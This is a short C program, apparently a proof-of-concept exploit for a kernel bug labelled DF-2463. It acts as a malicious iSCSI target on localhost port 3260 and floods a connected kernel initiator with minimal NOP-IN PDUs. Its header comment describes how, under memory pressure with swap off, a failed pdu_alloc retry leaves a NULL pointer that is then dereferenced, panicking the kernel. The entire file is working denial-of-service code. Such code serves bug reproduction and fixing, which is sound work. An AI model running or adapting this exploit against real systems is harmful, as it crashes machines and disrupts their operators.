/*
 * mtarget2463.c - Continuous-PDU malicious target for DF-2463.
 *
 * After idrv establishes the kernel receiver on a socket to us (WITHOUT
 * login, via ISCSISETSES+ISCSISETSOC), we blast a continuous stream of
 * minimal 48-byte NOP-IN PDUs.  Each one causes so_input() -> pdu_alloc()
 * (M_NOWAIT) in the kernel.  Run concurrently with memhog under swap-off:
 * when memory pressure makes the first pdu_alloc fail, so_input retries
 * with pdu_alloc(M_NOWAIT) AGAIN (isc_soc.c:543, comment "OK to WAIT" but
 * uses M_NOWAIT), that also fails -> pq stays NULL -> line 545
 * pq->pdu.ipdu.bhs = sp->bhs derefs NULL -> kernel panic.
 *
 * Build: cc -o mtarget2463 mtarget2463.c
 * Run:   ./mtarget2463            (listens 127.0.0.1:3260, streams NOP-IN)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv) {
    int port = argc > 1 ? atoi(argv[1]) : 3260;
    int s = socket(AF_INET, SOCK_STREAM, 0);
    int one = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in sa; memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    sa.sin_port = htons(port);
    if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }
    if (listen(s, 1) < 0) { perror("listen"); return 1; }
    printf("mtarget2463: listening 127.0.0.1:%d\n", port); fflush(stdout);

    struct sockaddr_in ca; socklen_t cl = sizeof(ca);
    int c = accept(s, (struct sockaddr*)&ca, &cl);
    if (c < 0) { perror("accept"); return 1; }
    printf("mtarget2463: accepted; blasting NOP-IN stream\n"); fflush(stdout);

    /* NOP-IN: opcode=0x20, F=1, AHS=0, DS=0, itt=0xffffffff, ttt=0xffffffff.
       48 bytes, no AHS/DS, so so_recv len==0 -> fast path through pdu_alloc. */
    unsigned char nop[48]; memset(nop, 0, sizeof(nop));
    nop[0] = 0x20;          /* NOP-IN */
    nop[1] = 0x80;          /* F=1 */
    /* StatSN at offset 24, etc. -- values don't matter for hitting pdu_alloc. */
    long count = 0;
    for (;;) {
        if (write(c, nop, 48) != 48) {
            printf("mtarget2463: write failed after %ld PDUs (kernel may have panicked/closed)\n", count);
            fflush(stdout); break;
        }
        count++;
        if ((count % 200000) == 0) { printf("  sent %ld NOP-INs\n", count); fflush(stdout); }
    }
    close(c); close(s);
    return 0;
}
